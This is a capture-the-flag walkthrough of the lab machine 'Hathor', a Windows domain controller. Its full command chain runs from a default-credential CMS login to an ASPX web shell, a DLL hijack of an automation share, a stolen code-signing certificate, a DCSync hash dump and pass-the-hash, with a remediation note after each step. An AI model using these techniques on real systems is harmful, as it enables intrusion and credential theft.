Hathor
Summary
Hathor is an Active Directory domain controller (WINDCORP.HTB) running an IIS site built on mojoPortal. The CMS still had the default admin@admin.com / admin login, which unlocked its File Manager. I uploaded a .txt file and used the manager's copy action to duplicate it to an .aspx name in a web-served folder, turning it into a command web shell running as windcorp\web.
From there a Get-bADpasswords audit export left on disk gave the NT hash of domain user BeatriceMill, which cracked to a weak password; a Kerberos ticket confirmed it in the domain. BeatriceMill could write to a 'share' used by an AutoIt automation that ran as windcorp\ginawild, so overwriting the 7-Zip helper DLL the automation loads ran my code as ginawild, which captured the user flag and copied an Administrator code-signing certificate (a .pfx in the Recycle Bin) out to the share. Ginawild belonged to ITDep, which could modify the scheduled Get-bADpasswords.ps1; I replaced that script with a malicious version signed by the stolen Administrator certificate, so it passed signature enforcement and, running as bpassrunner, performed a DCSync-style replication that dumped the Administrator NT hash.
Pass-the-hash to a Kerberos ticket and Evil-WinRM gave Administrator and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for admin>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <run> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
All open TCP ports.
$ nmap -p- --min-rate=1000 $TARGETService and version detail; a DC footprint plus IIS.
$ nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 $TARGETResolve the vhost and domain locally.
$ echo "$TARGET hathor.windcorp.htb windcorp.htb" | sudo tee -a /etc/hostsThe mojoPortal login page answers on the vhost.
$ curl -sS -i --max-time 15 -H 'Host: hathor.windcorp.htb' http://$TARGET/Secure/Login.aspxFixChange default CMS credentials and keep the admin area off the public siteHigh
Exact commands 1
Replays the ASP.NET form with the default admin credentials ($PASSWORD = admin); 302 to the site root means success.
$ curl -sS --max-time 15 -c cookies.txt -H 'Host: hathor.windcorp.htb' http://$TARGET/Secure/Login.aspx -o login.html && python3 -c "from bs4 import BeautifulSoup; import urllib.parse; s=BeautifulSoup(open('login.html'),'html.parser'); d={x.get('name'):x.get('value','') for x in s.select('input[type=hidden][name]')}; un=s.find('input',id=lambda x:x and x.endswith('_UserName'))['name']; pw=s.find('input',id=lambda x:x and x.endswith('_Password'))['name']; sb=s.find('input',id=lambda x:x and x.endswith('_Login'))['name']; d[un]='admin@admin.com'; d[pw]='$PASSWORD'; d[sb]='Login'; open('form','w').write(urllib.parse.urlencode(d))" && curl -sS -i --max-time 20 -b cookies.txt -c cookies.txt -H 'Host: hathor.windcorp.htb' -H 'Content-Type: application/x-www-form-urlencoded' -e http://hathor.windcorp.htb/Secure/Login.aspx --data-binary @form http://$TARGET/Secure/Login.aspxExact commands 4
Recover the fileSystemToken and the /fileservice endpoints.
$ curl -sS --max-time 20 -b cookies.txt -H 'Host: hathor.windcorp.htb' http://$TARGET/filemanager | grep -Ei 'fileSystemToken|uploadUrl|copyUrl'Upload the ASPX runner under a .txt name. hathor_cmd.txt is: <%@ Page Language="C#" %> ... Process cmd.exe /c Request["c"], output HtmlEncoded in <pre>.
$ curl -sS -i -b cookies.txt -H 'Host: hathor.windcorp.htb' -H 'X-Requested-With: XMLHttpRequest' -F 'destination=/logos' -F 'file-0=@hathor_cmd.txt;filename=hathor_cmd.txt' "http://$TARGET/fileservice/fileupload?t=<fileSystemToken>"Copy it to an executable .aspx name.
$ curl -sS -i -b cookies.txt -H 'Host: hathor.windcorp.htb' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: application/json' --data-binary '{"action":"copy","items":["/logos/hathor_cmd.txt"],"newPath":"/logos","singleFilename":"hathor_cmd.aspx"}' "http://$TARGET/fileservice?t=<fileSystemToken>"Confirms command execution as windcorp\web.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=whoami & whoami /all' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspx
windcorp\webFixPrevent execution of files written through the File ManagerCritical
Exact commands 2
Enumerate the audit tool's files.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=dir C:\Get-bADpasswords /s /b' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxPull BeatriceMill's row and NT hash ($HASH) from the CSVs.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=findstr /spin /c:"Beatrice" C:\Get-bADpasswords\Accessible\*' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxFixProtect password-audit outputHigh
Exact commands 3
Recovers BeatriceMill's password ($PASSWORD).
$ echo "BeatriceMill:$HASH" > hash.txt && john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txtClock-skew offset matched to the DC; saves BeatriceMill.ccache.
$ faketime -f '-7h' impacket-getTGT "WINDCORP.HTB/BeatriceMill:$PASSWORD" -dc-ip $TARGETKerberos auth to SMB lists shares, including the non-default 'share'.
$ printf 'shares\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htbFixEnforce strong domain passwordsMedium
Exact commands 5
Shows the world-writable AutoIt scripts and 7-zip64.dll.
$ printf 'use share\ncd scripts\nls\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htbgina_stage1.c DllMain runs: whoami into gina_proof.txt, copy ginawild's user.txt to gina_user.txt, and copy any Recycle Bin *.pfx to C:\share\cert.pfx with Everyone:F.
$ x86_64-w64-mingw32-gcc -shared -s -o 7-zip64.dll gina_stage1.cFirst attempt gives STATUS_SHARING_VIOLATION; repeat until the automation releases the file and the small DLL lands.
$ printf 'use share\ncd scripts\nput 7-zip64.dll\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htbConfirms execution as windcorp\ginawild.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\gina_proof.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxThe user flag (<user.txt>).
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\gina_user.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxFixLock down the automation share and the libraries it loadsCritical
Exact commands 3
Retrieve the certificate.
$ printf 'use share\nget cert.pfx\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htbRecovers the pfx password ($PASSWORD).
$ pfx2john cert.pfx > cert.hash && john --wordlist=/usr/share/wordlists/rockyou.txt cert.hashConfirms a CN=Administrator Code Signing certificate.
$ openssl pkcs12 -in cert.pfx -passin pass:$PASSWORD -clcerts -nokeys -out cert.pem && openssl x509 -in cert.pem -noout -subject -issuer -ext extendedKeyUsageFixDo not leave private keys and certificates recoverable on diskHigh
Exact commands 4
Shows WINDCORP\ITDep has Modify on the scheduled script.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=icacls C:\Get-bADpasswords\Get-bADpasswords.ps1' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxgina_stage2.c DllMain: certutil-decode a malicious Get-bADpasswords.ps1 (Start-Transcript + Get-ADReplAccount -SamAccountName administrator), Import-PfxCertificate cert.pfx, Set-AuthenticodeSignature with the Administrator cert, then cscript run.vbs.
$ x86_64-w64-mingw32-gcc -shared -s -o 7-zip64.dll gina_stage2.cReplace the helper DLL again so ginawild runs the stage-2 payload.
$ printf 'use share\ncd scripts\nput 7-zip64.dll\nexit\n' > cmds.txt && KRB5CCNAME=.<run>/BeatriceMill.ccache faketime -f '-7h' impacket-smbclient -k -no-pass -dc-ip $TARGET -inputfile cmds.txt WINDCORP.HTB/BeatriceMill@hathor.windcorp.htbReads the DCSync transcript; Administrator Secrets NTHash is $HASH.
$ curl -sS -H 'Host: hathor.windcorp.htb' --get --data-urlencode 'c=type C:\Windows\Temp\transcript.txt' http://$TARGET/Data/Sites/1/media/logos/hathor_cmd.aspxFixProtect scheduled scripts and restrict code-signing trustCritical
Exact commands 2
Saves Administrator.ccache.
$ faketime -f '-7h' impacket-getTGT 'WINDCORP.HTB/Administrator' -hashes ":$HASH" -dc-ip $TARGETkrb5.conf sets default_realm WINDCORP.HTB with kdc hathor.windcorp.htb; the session runs as windcorp\administrator and prints <root.txt>.
$ printf 'Get-Content C:\\Users\\Administrator\\Desktop\\root.txt\nexit\n' | env KRB5_CONFIG=krb5.conf KRB5CCNAME=Administrator.ccache faketime -f '-7h' evil-winrm -i hathor.windcorp.htb -r WINDCORP.HTBFixRestrict directory replication and protect privileged accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 58380/tcp | unknown recon-sweep-discovered |
| 59942/tcp | unknown recon-sweep-discovered |
| 59968/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |